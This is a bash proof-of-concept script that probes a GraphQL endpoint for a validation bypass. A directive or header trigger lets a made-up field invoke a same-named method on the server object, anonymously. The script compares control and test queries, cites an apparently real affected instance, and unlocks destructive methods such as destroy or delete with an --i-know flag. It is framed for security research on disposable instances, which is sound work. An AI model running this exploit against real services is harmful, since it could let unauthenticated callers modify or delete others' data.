#!/usr/bin/env bash
# probe.sh — paired control/test prober for a suspected unsafe-dispatch primitive.
#
# Target-agnostic: you supply the endpoint, the trigger, the selection path and the method
# name. It sends the SAME document twice, differing only in the trigger, and shows both.
#
#   CONTROL (no trigger)  must be rejected: "Field 'x' doesn't exist on type 'Y'"
#   TEST    (trigger)     if the field resolves, the method was invoked
#
# If the control is NOT rejected, stop — the field genuinely exists and you are measuring
# something else entirely.
#
# SAFETY: run against a disposable instance you own, with a scratch object you created.
# Start with a harmless canary (touch / updated_at) before anything destructive. This script
# refuses obviously destructive method names unless --i-know is passed.
#
# Usage:
#   probe.sh --url URL --path SELECTION --method NAME [options]
#
#   --url URL          GraphQL endpoint, e.g. http://127.0.0.1:3000/api/graphql
#   --path SELECTION   the selection that resolves the victim object, e.g.
#                      'project(fullPath:"scratch/p")'   or   'node(id:"...")'
#   --method NAME      the method to attempt, e.g. touch
#   --trigger SPEC     how the split is triggered. One of:
#                        directive:NAME=ARGS   e.g. directive:gl_introduced=version:"99.0.0"
#                        header:K=V            e.g. header:X-Future-Fields=1
#                        none                  (test == control; use to check a P3/P4 hole)
#   --id-field NAME    a real field to co-select so a successful parse is visible (default: id)
#   --auth HEADER      extra header, e.g. 'Authorization: Bearer <tok>'. OMIT to prove
#                      anonymous reach — the point of the exercise.
#   --raw              print full JSON responses instead of the condensed view
#   --i-know           permit destructive-looking method names
#
# Example (the confirmed real-world instance):
#   probe.sh --url http://127.0.0.1:3000/api/graphql \
#            --path 'project(fullPath:"scratch/p")' --method touch \
#            --trigger 'directive:gl_introduced=version:"99.0.0"'

set -uo pipefail

URL=""; SEL=""; METHOD=""; TRIGGER="none"; IDFIELD="id"; AUTH=""; RAW=0; IKNOW=0
while [[ $# -gt 0 ]]; do
  case "$1" in
    --url)      URL="$2"; shift 2 ;;
    --path)     SEL="$2"; shift 2 ;;
    --method)   METHOD="$2"; shift 2 ;;
    --trigger)  TRIGGER="$2"; shift 2 ;;
    --id-field) IDFIELD="$2"; shift 2 ;;
    --auth)     AUTH="$2"; shift 2 ;;
    --raw)      RAW=1; shift ;;
    --i-know)   IKNOW=1; shift ;;
    -h|--help)  sed -n '2,40p' "$0"; exit 0 ;;
    *) echo "unknown argument: $1" >&2; exit 2 ;;
  esac
done

[[ -n "$URL" && -n "$SEL" && -n "$METHOD" ]] || { sed -n '2,40p' "$0"; exit 2; }
command -v curl >/dev/null || { echo "probe.sh needs curl" >&2; exit 1; }
command -v jq   >/dev/null || { echo "probe.sh needs jq" >&2; exit 1; }

if [[ $IKNOW -eq 0 && "$METHOD" =~ ^(destroy|delete|remove|purge|truncate|drop|erase|wipe|block|ban|start_deletion) ]]; then
  cat >&2 <<EOF
refusing: '$METHOD' is destructive.

Prove the primitive with a reversible canary first — 'touch' bumps updated_at and nothing
else. Once the canary is confirmed, run the destructive form ONCE, against a scratch object
you created, on a disposable instance, with --i-know. Never run it against a collection.
EOF
  exit 3
fi

# ── build the two documents ─────────────────────────────────────────────────────
DIRECTIVE=""; HDR=()
case "$TRIGGER" in
  directive:*) spec="${TRIGGER#directive:}"; DIRECTIVE=" @${spec%%=*}(${spec#*=})" ;;
  header:*)    spec="${TRIGGER#header:}";    HDR=(-H "${spec%%=*}: ${spec#*=}") ;;
  none)        ;;
  *) echo "bad --trigger: $TRIGGER" >&2; exit 2 ;;
esac

CONTROL="{ __typename ${SEL} { ${IDFIELD} ${METHOD} } }"
TEST="{ __typename ${SEL}${DIRECTIVE} { ${IDFIELD} ${METHOD} } }"

AUTHH=(); [[ -n "$AUTH" ]] && AUTHH=(-H "$AUTH")

send() { # send <doc> [extra headers...]
  local doc="$1"; shift
  curl -s -X POST "$URL" -H 'Content-Type: application/json' "${AUTHH[@]}" "$@" \
       -d "$(jq -Rn --arg q "$doc" '{query:$q}')"
}

show() {
  if (( RAW )); then jq . 2>/dev/null || cat
  else jq -c 'if .errors then {errors:[.errors[].message]} else .data end' 2>/dev/null || cat; fi
}

hr() { printf '%.0s─' {1..76}; echo; }

hr
printf 'endpoint : %s\n' "$URL"
printf 'trigger  : %s\n' "$TRIGGER"
printf 'auth     : %s\n' "${AUTH:-NONE (anonymous)}"
hr

printf '\n[CONTROL] %s\n' "$CONTROL"
C="$(send "$CONTROL")"; printf '  '; printf '%s' "$C" | show

printf '\n[TEST   ] %s\n' "$TEST"
T="$(send "$TEST" "${HDR[@]+"${HDR[@]}"}")"; printf '  '; printf '%s' "$T" | show

hr
c_rejected=0
printf '%s' "$C" | jq -e --arg m "$METHOD" \
  '.errors // [] | map(select(.message | test("Field .\($m). doesn.t exist|undefinedField"))) | length > 0' \
  >/dev/null 2>&1 && c_rejected=1

# Three outcomes, not two. A fabricated field whose name matches no method on either
# receiver still RESOLVES — it returns fallback_value (null). That proves the validation
# hole but NOT that anything was invoked. Do not conflate them.
present=$(printf '%s' "$T" | jq --arg m "$METHOD" \
  '[.. | objects | select(has($m))] | length' 2>/dev/null || echo 0)
nonnull=$(printf '%s' "$T" | jq --arg m "$METHOD" \
  '[.. | objects | select(has($m)) | .[$m] | select(. != null)] | length' 2>/dev/null || echo 0)

if (( ! c_rejected )); then
  printf 'RESULT: INCONCLUSIVE — the control was not rejected. Either %s is a real schema\n' "$METHOD"
  printf '        field on this type, or the document is malformed. Fix this before going on.\n'
elif (( nonnull > 0 )); then
  printf 'RESULT: *** METHOD INVOKED *** control rejects %s as undefined; test returns a\n' "$METHOD"
  printf '        non-null value, so a method of that name resolved on the wrapper or the\n'
  printf '        application object.\n'
  printf '        Now observe the side effect OUT OF BAND. An in-band "true" proves only that\n'
  printf '        the call returned truthy — not what it did.\n'
elif (( present > 0 )); then
  printf 'RESULT: *** VALIDATION HOLE CONFIRMED, this gadget did not fire ***\n'
  printf '        The field was fabricated (the control rejects it, the test accepts it), so\n'
  printf '        FieldsAreDefinedOnType is bypassed — that is the root defect and it is real.\n'
  printf '        But %s returned null, i.e. it fell through to fallback_value: no public\n' "$METHOD"
  printf '        zero-arg method of that name on either receiver. Pick another name from the\n'
  printf '        census and re-run; do NOT report this as an invocation.\n'
else
  printf 'RESULT: NEGATIVE — control rejected, test did not resolve %s at all.\n' "$METHOD"
  printf '        Check: is the trigger spelled right? is it registered on this schema? does\n'
  printf '        this type carry the fallback (connection/edge/payload types often do not)?\n'
fi
hr
